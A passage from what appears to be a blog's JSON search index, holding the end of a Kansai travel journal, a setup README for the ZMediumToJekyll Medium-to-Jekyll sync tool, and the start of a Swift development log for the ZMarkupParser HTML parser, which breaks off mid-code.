Unexpectedly delightful, but when we wanted to visit again the next day, the shop was closed. QQAfter eating, we went to the convenience store LAWSON to buy some late-night snacks to continue eating at the hotel:The soy sauce fried noodles were just okay, but they felt heavy to eat.Day 2 (Kiyomizu-dera, Kinkaku-ji, Kyoto Tower)In the early morning, we packed breakfast downstairs and ate in the room:Curry rice, a bit too heavy for breakfast, prefer Western or Taiwanese breakfast.Yasaka ShrineAfter breakfast, we took a bus to Yasaka Shrine:We walked to Kiyomizu-dera along the way:Kyoto’s streets are so clean that even the roadside cement blocks are not dirty.Yasaka PagodaStopped at a shop halfway for iced matcha and black sugar dumplings:Kiyomizu-deraArrived at Kiyomizu-dera:The sun was scorching, and there were many people.Otowa WaterfallLined up to pray for success in academics, love, health, and longevity at the waterfall.After the visit, we walked back to Yasaka Shrine, casually ate a rice bowl and bought a cup of coffee on the way:In the afternoon, took a bus to “Kaohsiung”… (just kidding, it’s Kinkaku-ji)After getting off the bus, it takes about a 15-minute walk to reach Kinkaku-ji:Kinkaku-jiThe bus stop on the way back was crowded, so if you’re agile, like us, you can walk to the next intersection to catch another bus route and avoid the crowd, heading to Kyoto Tower.Kyoto TowerAround 5:30 pm, we arrived at the Kyoto Tower observation deck:You can overlook Kyoto from the tower, and there’s a bar downstairs. We planned to go down to rest and come back up for the night view, but we found out that re-entry was not allowed once we went down, so we gave up.Here’s a photo of the Kyoto Tower night view taken from outside after we left. (The weather was really nice)Cute little thingsGo to the convenience store and buy some instant noodles for supper at the hotel.Day 3 (Arashiyama, Osaka)Didn’t have breakfast at the hotel the next day, got up early, checked out, stored luggage, and headed to Arashiyama.Having McDonald’s breakfast (cheaper than Taiwan by $15)After eating, walk across the street and take a ride to ArashiyamaShijo Omiya is the starting station, take it directly to the final station Arashiyama, very convenient and always have seats.ArashiyamaArrival:First, walk towards Arashiyama after arrival:You can experience taking a boat to see the river view (similar to Bitan in Taiwan?)For those with good physical strength, you can choose a small hike:We went hiking to see monkeys and the panoramic view. It takes about 30-45 minutes from the bottom of the mountain to the top, not difficult to walk.There are really monkeysAfter descending, on the way back, we had lunch with tempura soba noodles:Ordered wrong, shouldn’t have ordered tempura rice, it became soba noodles + tempura rice hole.After eating, head in another direction towards “Tenryu-ji Temple”:Tenryu-ji TempleCome out from the back door of Tenryu-ji Temple and go directly to the bamboo forest:There are really a lot of people, find a good angle for photos 🥵It’s also beautiful to take photos from bottom to top.Having ice cream after descending, getting ready to head backBought local sake as a souvenirReturn to Shijo Omiya to the hotel to pick up luggage and prepare to go to Osaka:The hotel is right outside Hankyu Omiya StationWhen I first came here on the first day, I felt a bit inconvenient because it was a distance from Kyoto Station; but later I found it was actually great; it’s the central point of Kinkaku-ji and Kiyomizu-dera, there is a direct tram to Arashiyama when you come out, and it’s also direct to Osaka (remember about an hour).When first arriving in Osaka, it’s easy to get lost, there are many exits, Osaka and Umeda are actually the same location.Arrival at APA HotelThe hotel rooftop has a free outdoor swimming pool, a convenience store inside the hotel, and a free public bath.After dropping off the luggage, go out to find food:There is a bear in the amusement park that makes fun of itself!!Day 4 Osaka Castle, Tsuruhashi, NintendoFollowing the instructions on Google Maps, take the train and then walk to Osaka Castle. The walking part from the station to the moat and then to the main castle takes about 30 minutes, a bit of a distance. The line at the ticket counter is very long, you can purchase tickets online here to enter without waiting.Osaka CastleView of Osaka from the top:There is a history of the Warring States on each floor inside:After leaving Osaka Castle, we walked around nearby and looked for food.Then we went to the outskirts of Tsuruhashi to buy some things at small shops.TsuruhashiWe walked around Tsuruhashi, which seems to be a non-touristy area with few tourists; quite a few Korean peripheral shops, more like a Korean town for Japanese people.Just came to find some Korean cultural and creative items, later found out that Taiwan also sells them -_-NintendoAfter walking around Osaka for a long time, my feet couldn’t take it anymore; fortunately, on the way back, we stopped by Nintendo when returning to Osaka Umeda Station.Osaka Nintendo is located upstairs at Daimaru Department Store next to the station.Went crazy buying The Legend of Zelda merchandise:Everything is of high quality, the badges are made of metal, and the workmanship is very delicate.Day 5 Universal Studios KKday Universal Studios Japan | Universal Express PassDidn’t buy the Express Pass, didn’t go to Super Mario World early in the morning to queue up; we took a relaxed and casual approach and entered the park after 10 a.m.There were a lot of people entering the park, so we quickly checked the Super Mario World tickets on the app; luckily, the expert Huang Xinping won the 5 p.m. entry qualification for Super Mario World.First, we went to the Harry Potter themed area:ButterbeerWe queued to buy Butterbeer (non-alcoholic, very sweet); felt that if we really wanted to collect it, we should buy the most expensive glass.Next stop, Jurassic Park:We queued for the rides, about 45 minutes wait; sat in the front row.Similar to a volcano adventure, it will rush down at the end 🥵 (I’m afraid of the feeling of weightlessness).But fortunately, I still had fun. Later, I saw the news that this facility will be reorganized starting in June and will probably be closed for a few years.After playing, started wandering around and looking for food around noonThe scenery inside is very realistic, you would think you are in the 🇺🇸 without saying it.NO LIMIT! Parade!Yoshi!!Unexpectedly fun at the beginning, the melody is still in my mind today!There will be floats (Mario, Pokémon, Sesame Street… characters) and dancers leading the parade, stopping at each section to get everyone to dance together! All staff, including those maintaining order, will also dance together, creating a strong sense of involvement!Super Mario WorldEast and west sway, around five o’clock head to Super Mario World.I have to admire the scene design, completely bringing the game world to reality, like stepping into a paradise!As it was close to closing time, I didn’t buy a watch to play interactive scenes, just went to queue for Yoshi’s facility.Every detail is done very delicately!FarewellBefore closing, I took some night views of Universal Studios, many crowded places became great for photography.Especially in the Harry Potter themed area, the scenes originally crowded with wand interactions were empty before closing, saw a sister playing alone and enjoying every interactive scene XDFinally took a picture of the globe, goodbye Universal.At night, had izakaya dinner, bought Nissin instant noodles as a midnight snack (after eating back and forth, this is still the best).Day 6 Kobe, DotonboriEarly in the morning, took a train to Kobe.First went to explore Kobe shopping street.Tried the famous Kobe beef croquette.Walked from the shopping street to Kobe Port.Realized Kobe Tower was under maintenance QQCompletion time details uncertainOn the way back, strolled through the streets of Kobe.Found a cafe in Kobe to take a break:Strawberry chocolate milkshake, tasty but very sweet.DotonboriFrom Kobe to DotonboriHad dinner at the famous Osaka Shinsekai Kushikatsu Ittoku.After eating, started the tourist itinerary, took photos of landmarks, and went to a drugstore to shop.GlicoBack to Taiwan and only realized I took the wrong photo after checking IG XD. There are better photo spots when entering from the nearby department store.Back to the hotel to continue eating instant noodles and drinking sake as supper.No impression of the taste [_KKday Osaka Sightseeing Pass Osaka e-Pass_](https://www.kkday.com/zh-tw/product/114351-osaka-sightseeing-pass-osaka-e-pass-japan?cid=19365&ud1=76d66c2e34af){:target=”_blank”} Day 7 Koshien, Namba, Drugstores, ShoppingLast day countdown to return to Taiwan, a sightseeing itinerary.Koshien, failed to check inDecided impulsively in the early morning to go to Koshien to watch the Hanshin Tigers baseball game, took the subway to Koshien Station.The Koshien Baseball Stadium is right outside the station.But we were out of luck, unlike in Taiwan where there are always seats at baseball games, all Hanshin games were sold out until July; you have to buy tickets early, otherwise, you can only do a day trip outside the stadium.Finally, we had something to eat nearby, bought some Hanshin Tigers souvenirs, and went to Cafe de L’ambre for a coffee before leaving.I always thought it was called “Coffee Place”Hanshin Tigers stickerNambaAfter leaving Koshien, we went to Namba for shopping.Also had some takoyaki and crab legs by the roadside.Perhaps we went to the wrong store, felt quite ordinary.Walked back to Dotonbori and headed to the original Don Quijote store.Only the original store has a Ferris wheelAfter shopping, we returned to Osaka in the evening and found an izakaya near our accommodation for our final dinner.Took one last look at the Osaka night view.Day 8 Return JourneyThe flight was at noon, so we checked out at 7 am to head to Kansai Airport.The weather in Osaka changed today, it started to rain, fitting for the farewell mood.Took a final photo of the Osaka skyline as a farewell. Originally planned to take the train to Kansai Airport, but dragging luggage up and down; the day before, I specifically explored the bus route back (including time and station location). Went to the bus station early in the morning to check the crowd, luckily there weren’t many people in line, so we bought bus tickets to Kansai Airport and comfortably took the bus directly to Kansai Airport.Finally found the troubleshooting counter, we completed the online check-in with just a click and could go directly to the luggage check-in counter! Saved almost an hour. Actually, I really want to tell the people queuing, if you open the webpage now and click to receive the e-ticket, you can go to check in your luggage and then go through immigration.After going through immigration, there weren’t many food options or stores under renovation at Kansai Airport, so I ended up buying a tonkatsu curry toast from New World.Waiting to board the flight back to Taiwan.Safely arrived in Taiwan in the afternoon, time to rest at home! 🇹🇼LootDidn’t buy much actually, just bought whatever caught my eye; after comparing, I found that the drugstore coming out of Kyoto Station was the cheapest (about $100-$300 yen cheaper than Osaka), with Don Quijote being the most expensive.YoutubeThe theme song of Yodobashi is really catchy, got brainwashed right after strolling in Kyoto.The duty-free shopping rule in Japan requires a minimum of ¥5,000 to be eligible for tax exemption with your passport. They seal the items in a plastic bag, which you can only open upon returning home (the photos were taken at home; if you open it within the country and get checked upon exiting, you may have to pay taxes, but it didn’t seem like they were checking; remember to note that liquids can only be checked in, if there are liquids inside the sealed items, they must be checked in as a whole).Apart from famous snacks, I mostly looked for local products from century-old shops, can’t guarantee they’re delicious but they’re guaranteed to be century-old; the recommended snacks by everyone are guaranteed to be delicious, but be prepared to queue + they’re not century-old XDIn the end, it’s best to find delicious food!AfterwordFell in love with Japan on my first visit, already planning my next trip back. Actually, I went to Tokyo again from 6/7-11 😝 Stay tuned for the next episode of my travelogueOverall, convenient transportation, peaceful, pleasant weather (in May, it feels like autumn in Taiwan, cool at night), people have boundaries and are polite; really loved it!In terms of expenses, considering the current exchange rate and prices, it’s actually cheaper than Taiwan…Accommodation and Transportation: Trains and buses have higher coverage and are more convenient than in Taiwan; only took a taxi on the first day to the hotel. Despite the convenience of transportation, Japan is vast, so you’ll need to walk a lot, averaging about 20,000 steps a day. Standing on the left or right isn’t consistent, in Kyoto it’s left, in Osaka it’s right. Buses wait for passengers to sit before departing, and wait for passengers to stand up and alight slowly; so there’s no need to start moving before reaching your stop, the Japanese don’t like that. Hotel bathrooms are very clean and comfortable; even the smallest ones have bathtubs. Almost all toilets are high-tech, some in department stores even have background water sounds (to avoid embarrassment).Peak Steps 5/23-5/28Culture: Clean and uniform cityscape (e.g. all entrances look the same, no variation in having shoe cabinets or not, if one has it, they all do, if not, none do). No eating while walking, people finish eating at the store entrance before moving on. Trash must be taken back to the hotel, there are few trash cans on the streets, so it’s convenient to return the trash to the store after eating at the entrance. Stores only accept their own trash. Basic English is not widely understood, simple gestures or translation apps are used; but drugstores and large shopping centers usually have Chinese-speaking staff. When buying tickets, receiving receipts, giving or receiving change, remember to place directly on/from the tray, avoid direct contact with the staff. Avoid physical contact and standing too close. Public transport is generally very quiet, especially on buses. When taking photos, try not to shoot directly at people or their faces, blur faces before uploading to social media. When photographing temples, take angled shots, not straight-on. Emphasis on detailed SOP, and it doesn’t seem easy to blend in with Japan. Japanese people generally dress very formally or at least stylishly, even women are very refined. Also, don’t criticize others, we encountered a group from Taiwan (they had 🇹🇼 on their bags) similar to a direct sales company’s employees at Universal Studios, loudly shouting slogans and repeatedly filming “super awesome, performance is awesome” in the middle of the road, blocking the way; it was embarrassing.Returning to work and “products”In my opinion, if you want to enter the Japanese market, relying solely on advertising and marketing might be challenging, at most attracting some curious individuals; Japan has a strong cultural unity, so you need to find a way to integrate into their lives and habits to have a chance at winning their hearts.In addition, the fault tolerance is very low, for example, bugs, unexpected appearance of other languages; for us, it may be okay once or twice, or at least not happening frequently; for them, I think it could be a disaster with just one occurrence because this thing is not rigorous enough and does not value them.👑 Finally, the most reliable travel companion Huang XinpingSuccessful Kansai Trip!KKday Promotion One-stop purchase for experiences and tickets in Kyoto area: “Kansai Airport KIX Airport Express Train Ticket (Hello Kitty), Amanohashidate Day Tour, JR Pass Kansai Area Pass, Arashiyama-Sagano Romantic Train Ticket, Kyoto Tower, Kimono Rental, Professional Photography, eSim/Sim Card, Rickshaw, Kiyomizu Temple Kinkakuji Day Tour” One-stop purchase for experiences and tickets in Osaka area: “Osaka Castle, Universal Studios Osaka, Fast Track Entry, Osaka Area Pass, Kaiseki Cuisine, Shinsaibashi, Byodoin Day Tour”More Travel Journals [Travel Journal] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Fukuoka via Busan [Travel Journal] 2023 Hiroshima Okayama 6-Day Free and Easy Trip [Travel Journal] 2023 Kyushu 10-Day Solo Free and Easy Trip [Travel Journal] 9/11 Flash Visit to Nagoya [Travel Journal] 2023 Tokyo 5-Day Free and Easy TripIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "ZMediumToJekyll", "url": "/posts/e7c547a5be22/", "categories": "ZRealm, Dev.", "tags": "medium, post, medium-backup, ios-app-development, markdown", "date": "2023-03-18 02:47:07 +0800", "snippet": "ZMediumToJekyllMove your Medium posts to a Jekyll blog and keep them in sync in the future.This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future.It will...", "content": "ZMediumToJekyllMove your Medium posts to a Jekyll blog and keep them in sync in the future.This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future.It will automatically download your posts from Medium, convert them to Markdown, and upload them to your repository, check out my blog for online demo zhgchg.li .One-time setting, Lifetime enjoying❤️Powered by ZMediumToMarkdown .If you only want to create a backup or auto-sync of your Medium posts, you can use the GitHub Action directly by following the instructions in this Wiki .Setup You can follow along with each step of this process by watching the following video tutorial Click the green button Use this template located above and select Create a new repository. Repo Owner could be an organization or username. Enter the Repository Name, which usually uses your GitHub Username/Organization Name and ends with .github.io, for example, my organization name is zhgchgli then it’ll be zhgchgli.github.io. Select the public repository option, and then click on Create repository from template. Grant access to GitHub Actions by going to the Settings tab in your GitHub repository, selecting Actions -> General, and finding the Workflow permissions section, then, select Read and write permissions, and click on Save to save the changes.*If you choose a different Repository Name, the GitHub page will be https://username.github.io/Repository Name instead of https://username.github.io/, and you will need to fill in the baseurl field in _config.yml with your Repository Name.*If you are using an organization and cannot enable Read and Write permissions in the repository settings, please refer to the organization settings page and enable it there.First-time run Please refer to the configuration information in the section below and make sure to specify your Medium username in the _zmediumtomarkdown.yml file. ⌛️ Please wait for the Automatic Build and pages-build-deployment GitHub actions to finish before making any further changes. Then, you can manually run the ZMediumToMarkdown GitHub action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch. ⌛️ Please wait for the action to download and convert all Medium posts from the specified username, and commit the posts to your repository. ⌛️ Please wait for the Automatic Build and pages-build-deployment actions will also need to finish before making any further changes, and that they will start automatically once the ZMediumToMarkdown action has completed. Go to the Settings section of your GitHub repository and select Pages. In the Branch field, select gh-pages, and leave /(root) selected as the default. Click Save, you can also find the URL for your GitHub page at the top of the page. ⌛️ Please wait for the Pages build and deployment action to finish. 🎉 After all actions are completed, you can visit your xxx.github.io page to verify that the results are correct. Congratulations! 🎉*To avoid expected Git conflicts or unexpected errors, please follow the steps carefully and in order, and be patient while waiting for each action to complete.*Note that the first time running may take longer.*If you open the URL and notice that something is wrong, such as the web style being missing, please ensure that your configuration in the _config.yml file is correct.*Please refer to the ‘Things to Know’ and ‘Troubleshooting’ sections below for more information.ConfigurationSite Setting_zmediumtomarkdown.ymlmedium_username: # enter your username on Medium.comPlease specify your Medium username for automatic download and syncing of your posts._config.yml & jekyll settingFor more information, please refer to jekyll-theme-chirpy or jekyllrb .Github ActionZMediumToMarkdownYou can configure the time interval for syncing in ./.github/workflows/ZMediumToMarkdown.yml .The default time interval for syncing is once per day.You can also manually run the ZMediumToMarkdown action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch.DisclaimerAll content downloaded using ZMediumToMarkdown, including but not limited to articles, images, and videos, are subject to copyright laws and belong to their respective owners. ZMediumToMarkdown does not claim ownership of any content downloaded using this tool.Downloading and using copyrighted content without the owner’s permission may be illegal and may result in legal action. ZMediumToMarkdown does not condone or support copyright infringement and will not be held responsible for any misuse of this tool.Users of ZMediumToMarkdown are solely responsible for ensuring that they have the necessary permissions and rights to download and use any content obtained using this tool. ZMediumToMarkdown is not responsible for any legal issues that may arise from the misuse of this tool.By using ZMediumToMarkdown, users acknowledge and agree to comply with all applicable copyright laws and regulations.TroubleshootingMy GitHub page keeps presenting a 404 error or doesn’t update with the latest posts. Please make sure you have followed the setup steps above in order. Wait for all GitHub actions to finish, including the Pages build and deployment and Automatic Build actions, you can check the progress on the Actions tab. Make sure you have the correct settings selected in Settings -> Pages.Things to know The ZMediumToMarkdown GitHub Action for syncing Medium posts will automatically run every day by default, and you can also manually trigger it on the GitHub Actions page or adjust the sync frequency as needed. Every commit and post change will trigger the Automatic Build & Pages build and deployment action. Please wait for this action to finish before checking the final result. You can create your own Markdown posts in the _posts directory by naming the file as YYYY-MM-DD-POSTNAME and recommend using lowercase file names. You can include images and other resources in the /assets directory. Also, if you would like to remove the ZMediumToMarkdown watermark located at the bottom of the post, you may do so. I don’t mind. You can edit the Ruby file at tools/optimize_markdown.rb and uncomment lines 10–12. This will automatically remove the ZMediumToMarkdown watermark at the end of all posts during Jekyll build time. Since ZMediumToMarkdown is not an official tool and Medium does not provide a public API for it, I cannot guarantee that the parser target will not change in the future. However, I have tried to test it for as many cases as possible. If you encounter any rendering errors or Jekyll build errors, please feel free to create an issue and I will fix them as soon as possible.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "The Craft of Building a Handmade HTML Parser", "url": "/posts/2724f02f6e7/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, html-parsing, nsattributedstring, html, rendering", "date": "2023-03-12 01:09:22 +0800", "snippet": "The Craft of Building a Handmade HTML ParserThe development log of ZMarkupParser HTML to NSAttributedString rendering engineTokenization conversion of HTML String, Normalization processing, generat...", "content": "The Craft of Building a Handmade HTML ParserThe development log of ZMarkupParser HTML to NSAttributedString rendering engineTokenization conversion of HTML String, Normalization processing, generation of Abstract Syntax Tree, application of Visitor Pattern / Builder Pattern, and some miscellaneous discussions…ContinuationLast year, I published an article titled “[ TL;DR ] Implementing iOS NSAttributedString HTML Render”, which briefly introduced how to use XMLParser to parse HTML and then convert it into NSAttributedString.Key. The structure and thought process in the article were quite disorganized, as it was a quick record of the issues encountered previously and I did not spend much time researching the topic.Convert HTML String to NSAttributedStringRevisiting this topic, we need to be able to convert the HTML string provided by the API into NSAttributedString and apply the corresponding styles to display it in UITextView/UILabel.e.g. <b>Test<a>Link</a></b> should be displayed as Test Link Note 1It is not recommended to use HTML as a communication and rendering medium between the App and data, as the HTML specification is too flexible. The App cannot support all HTML styles, and there is no official HTML conversion rendering engine. Note 2Starting from iOS 14, you can use the native AttributedString to parse Markdown or introduce the apple/swift-markdown Swift Package to parse Markdown. Note 3Due to the large scale of our company’s project and the long-term use of HTML as a medium, it is temporarily impossible to fully switch to Markdown or other Markup. Note 4 The HTML here is not intended to display the entire HTML webpage, but to use HTML as a style Markdown rendering string style. (To render a full page, complex HTML including images and tables, you still need to use WebView loadHTML) It is strongly recommended to use Markdown as the string rendering medium language. If your project has the same dilemma as mine and you have no elegant tool to convert HTML to NSAttributedString, please use it. Friends who remember the previous article can directly jump to the ZhgChgLi / ZMarkupParser section.NSAttributedString.DocumentType.htmlThe methods for HTML to NSAttributedString found online all suggest directly using NSAttributedString’s built-in options to render HTML, as shown in the example below:let htmlString = \"<b>Test<a>Link</a></b>\"let data = htmlString.data(using: String.Encoding.utf8)!let attributedOptions:[NSAttributedString.DocumentReadingOptionKey: Any] = [ .documentType :NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue]let attributedString = try! NSAttributedString(data: data, options: attributedOptions, documentAttributes: nil)The problem with this approach: Poor performance: This method uses WebView Core to render the style, then switches back to the Main Thread for UI display; rendering more than 300 characters takes 0.03 seconds. Text loss: For example, marketing copy might use <Congratulation!> which will be treated as an HTML tag and removed. Lack of customization: For example, you cannot specify the boldness level of HTML bold tags in NSAttributedString. Intermittent crashes starting from iOS ≥ 12 with no official solution Frequent crashes in iOS 15, testing found that it crashes 100% under low battery conditions (fixed in iOS ≥ 15.2) Long strings cause crashes, testing shows that inputting strings longer than 54,600+ characters will crash 100% (EXC_BAD_ACCESS)The most painful issue for us is the crash problem. From the release of iOS 15 to the fix in 15.2, our app was plagued by this issue. From the data, between 2022/03/11 and 2022/06/08, it caused over 2.4K crashes, affecting over 1.4K users.This crash issue has existed since iOS 12, and iOS 15 just made it worse. I guess the fix in iOS 15.2 is just a patch, and the official solution cannot completely eradicate it.The second issue is performance. As a string style Markup Language, it is heavily used in the app’s UILabel/UITextView. As mentioned earlier, one label takes 0.03 seconds, and multiplying this by the number of UILabel/UITextView in a list will cause noticeable lag in user interactions.XMLParserThe second solution is introduced in the previous article, which uses XMLParser to parse into corresponding NSAttributedString keys and apply styles.Refer to the implementation of SwiftRichString and the content of the previous article. The previous article only explored using XMLParser to parse HTML and perform corresponding conversions, completing an experimental implementation, but it did not design it as a well-structured and extensible “tool.”The problem with this approach: Zero tolerance for errors: <br> / <Congratulation!> / <b>Bold<i>Bold+Italic</b>Italic</i>These three possible HTML scenarios will cause XMLParser to throw an error and display blank. Using XMLParser, the HTML string must fully comply with XML rules, unlike browsers or NSAttributedString.DocumentType.html which can tolerate and display correctly.Standing on the shoulders of giantsNeither of the above two solutions can perfectly and elegantly solve the HTML problem, so I started searching for existing solutions. johnxnguyen / DownOnly supports converting Markdown to Any (XML/NSAttributedString…), but does not support converting HTML. malcommac / SwiftRichStringUses XMLParser at its core, and testing shows it has the same zero tolerance for errors as mentioned earlier. scinfu / SwiftSoupOnly supports HTML Parser (Selector) does not support converting to NSAttributedString. After searching extensively, I found that the results are similar to the projects mentioned above. There are no giants’ shoulders to stand on.ZhgChgLi/ZMarkupParserWithout the shoulders of giants, I had to become a giant myself, so I developed an HTML String to NSAttributedString tool.Developed purely in Swift, it parses HTML Tags using Regex and performs Tokenization, analyzing and correcting Tag accuracy (fixing tags without an end & misplaced tags), then converts it into an abstract syntax tree. Finally, using the Visitor Pattern, it maps HTML Tags to abstract styles to get the final NSAttributedString result; it does not rely on any Parser Lib.Features Supports HTML Render (to NSAttributedString) / Stripper (removing HTML Tags) / Selector functions Higher performance than NSAttributedString.DocumentType.html Automatically analyzes and corrects Tag accuracy (fixing tags without an end & misplaced tags) Supports dynamic style settings from style=\"color:red...\" Supports custom style specifications, such as how bold bold should be Supports flexible extensibility for tags or custom tags and attributes For detailed introduction, installation, and usage, refer to this article: ZMarkupParser HTML String to NSAttributedString ToolYou can directly git clone the project, then open the ZMarkupParser.xcworkspace Project, select the ZMarkupParser-Demo Target, and directly Build & Run to try it out.ZMarkupParserTechnical DetailsNow, let’s dive into the technical details of developing this tool.Overview of the operation processThe above image shows the general operation process, and the following article will introduce it step by step with code examples. ⚠️ This article will simplify Demo Code as much as possible, reduce abstraction and performance considerations, and focus on explaining the operation principles; for the final result, please refer to the project Source Code.Code Implementation — Tokenization a.k.a parser, parsingWhen it comes to HTML rendering, the most important part is parsing. In the past, HTML was parsed as XML using XMLParser; however, it couldn’t handle the fact that HTML usage is not 100% XML, causing parser errors and inability to dynamically correct them.After ruling out the use of XMLParser, the only option left in Swift was to use Regex for matching and parsing.Initially, the idea was to use Regex to extract “paired” HTML Tags and recursively find HTML Tags layer by layer until the end; however, this couldn’t solve the problem of nested HTML Tags or support for misplaced tags. Therefore, we changed the strategy to extract “single” HTML Tags, recording whether they are Start Tags, Close Tags, or Self-Closing Tags, and combining other strings into a parsed result array.Tokenization structure is as follows:enum HTMLParsedResult { case start(StartItem) // <a> case close(CloseItem) // </a> case selfClosing(SelfClosingItem) // <br/> case rawString(NSAttributedString)}extension HTMLParsedResult { class SelfClosingItem { let tagName: String let tagAttributedString: NSAttributedString let attributes: [String: String]? init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) { self.tagName = tagName self.tagAttributedString = tagAttributedString self.attributes = attributes } } class StartItem { let tagName: String let tagAttributedString: NSAttributedString let attributes: [String: String]? // Start Tag may be an abnormal HTML Tag or normal text e.g. <Congratulation!>, if found to be an isolated Start Tag after subsequent Normalization, it will be marked as True. var isIsolated: Bool = false init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) { self.tagName = tagName self.tagAttributedString = tagAttributedString self.attributes = attributes } // Used for automatic padding correction in subsequent Normalization func convertToCloseParsedItem() -> CloseItem { return CloseItem(tagName: self.tagName) } // Used for automatic padding correction in subsequent Normalization func convertToSelfClosingParsedItem() -> SelfClosingItem { return SelfClosingItem(tagName: self.tagName, tagAttributedString: self.tagAttributedString, attributes: self.attributes) } } class CloseItem { let tagName: String init(tagName: String) { self.tagName = tagName } }}The regex used is as follows:<(?:(?<closeTag>\\/)?(?<tagName>[A-Za-z0-9]+)(?<tagAttributes>(?:\\s*(\\w+)\\s*=\\s*([\"|']).*?\\5)*)\\s*(?<selfClosingTag>\\/)?>)-> Online Regex101 Playground closeTag: Matches < / a> tagName: Matches < a > or , </ a > tagAttributes: Matches <a href=”https://zhgchg.li” style=”color:red” > selfClosingTag: Matches <br / > *This regex can still be optimized, will do it later. Additional information about regex is provided in the latter part of the article, interested friends can refer to it.Combining it all together:var tokenizationResult: [HTMLParsedResult] = []let expression = try? NSRegularExpression(pattern: pattern, options: expressionOptions)let attributedString = NSAttributedString(string: \"<a>Li<b>nk</a>Bold</b>\")let totalLength = attributedString.string.utf16.count // utf-16 support emojivar lastMatch: NSTextCheckingResult?// Start Tags Stack, First In Last Out (FILO)// Check if the HTML string needs subsequent normalization to correct misalignment or add self-closing tagsvar stackStartItems: [HTMLParsedResult.StartItem] = []var needForamatter: Bool = falseexpression.enumerateMatches(in: attributedString.string, range: NSMakeRange(0, totoalLength)) { match, _, _ in if let match = match { // Check the string between tags or before the first tag // e.g. Test<a>Link</a>zzz<b>bold</b>Test2 - > Test,zzz let lastMatchEnd = lastMatch?.range.upperBound ?? 0 let currentMatchStart = match.range.lowerBound if currentMatchStart > lastMatchEnd { let rawStringBetweenTag = attributedString.attributedSubstring(from: NSMakeRange(lastMatchEnd, (currentMatchStart - lastMatchEnd))) tokenizationResult.append(.rawString(rawStringBetweenTag)) } // <a href=\"https://zhgchg.li\">, </a> let matchAttributedString = attributedString.attributedSubstring(from: match.range) // a, a let matchTag = attributedString.attributedSubstring(from: match.range(withName: \"tagName\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() // false, true let matchIsEndTag = matchResult.attributedString(from: match.range(withName: \"closeTag\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == \"/\" // href=\"https://zhgchg.li\", nil // Use regex to further extract HTML attributes, to [String: String], refer to the source code let matchTagAttributes = parseAttributes(matchResult.attributedString(from: match.range(withName: \"tagAttributes\"))) // false, false let matchIsSelfClosingTag = matchResult.attributedString(from: match.range(withName: \"selfClosingTag\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == \"/\" if let matchAttributedString = matchAttributedString, let matchTag = matchTag { if matchIsSelfClosingTag { // e.g. <br/> tokenizationResult.append(.selfClosing(.init(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes))) } else { // e.g. <a> or </a> if matchIsEndTag { // e.g. </a> // Retrieve the position of the same tag name from the stack, starting from the last if let index = stackStartItems.lastIndex(where: { $0.tagName == matchTag }) { // If it's not the last one, it means there is a misalignment or a missing closing tag if index != stackStartItems.count - 1 { needForamatter = true } tokenizationResult.append(.close(.init(tagName: matchTag))) stackStartItems.remove(at: index) } else { // Extra close tag e.g </a> // Does not affect subsequent processing, just ignore } } else { // e.g. <a> let startItem: HTMLParsedResult.StartItem = HTMLParsedResult.StartItem(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes) tokenizationResult.append(.start(startItem)) // Add to stack stackStartItems.append(startItem) } } } lastMatch = match }}// Check the ending raw string// e.g. Test<a>Link</a>Test2 - > Test2if let lastMatch = lastMatch { let currentIndex = lastMatch.range.upperBound if totoalLength > currentIndex { // There are remaining strings let resetString = attributedString.attributedSubstring(from: NSMakeRange(currentIndex, (totoalLength - currentIndex))) tokenizationResult.append(.rawString(resetString)) }} else { // lastMatch = nil, meaning no tags were found, all are plain text let resetString = attributedString.attributedSubstring(from: NSMakeRange(0, totoalLength)) tokenizationResult.append(.rawString(resetString))}// Check if the stack is empty, if not, it means there are start tags without corresponding end tags// Mark as isolated start tagsfor stackStartItem in stackStartItems { stackStartItem.isIsolated = true needForamatter = true}print(tokenizationResult)// [// .start(\"a\",[\"href\":\"https://zhgchg.li\"])// .rawString(\"Li\")// .start(\"b\",nil)// .rawString(\"nk\")// .close(\"a\")// .rawString(\"Bold\")// .close(\"b\")// ]Operation flow as shown in the figureThe final result will be an array of Tokenization results. Corresponding source code in HTMLStringToParsedResultProcessor.swift implementationNormalization a.k.a Formatter, normalizationAfter obtaining the preliminary parsing results in the previous step, if it is found during parsing that further normalization is needed, this step is required to automatically correct HTML Tag issues.There are three types of HTML Tag issues: HTML Tag but missing Close Tag: e.g., <br> General text mistaken as HTML Tag: e.g., <Congratulation!> HTML Tag misalignment issues: e.g., <a>Li<b>nk</a>Bold</b>The correction method is also very simple. We need to traverse the elements of the Tokenization results and try to fill in the gaps.Operation flow as shown in the figurevar normalizationResult = tokenizationResult// Start Tags Stack, First In Last Out (FILO)var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []var itemIndex = 0while itemIndex < newItems.count { switch newItems[itemIndex] { case .start(let item): if item.isIsolated { // If it is an isolated Start Tag if WC3HTMLTagName(rawValue: item.tagName) == nil && (item.attributes?.isEmpty ?? true) { // If it is not a WCS defined HTML Tag & has no HTML Attribute // WC3HTMLTagName Enum can refer to Source Code // Determine as general text mistaken as HTML Tag // Change to raw string type normalizationResult[itemIndex] = .rawString(item.tagAttributedString) } else { // Otherwise, change to self-closing tag, e.g., <br> -> <br/> normalizationResult[itemIndex] = .selfClosing(item.convertToSelfClosingParsedItem()) } itemIndex += 1 } else { // Normal Start Tag, 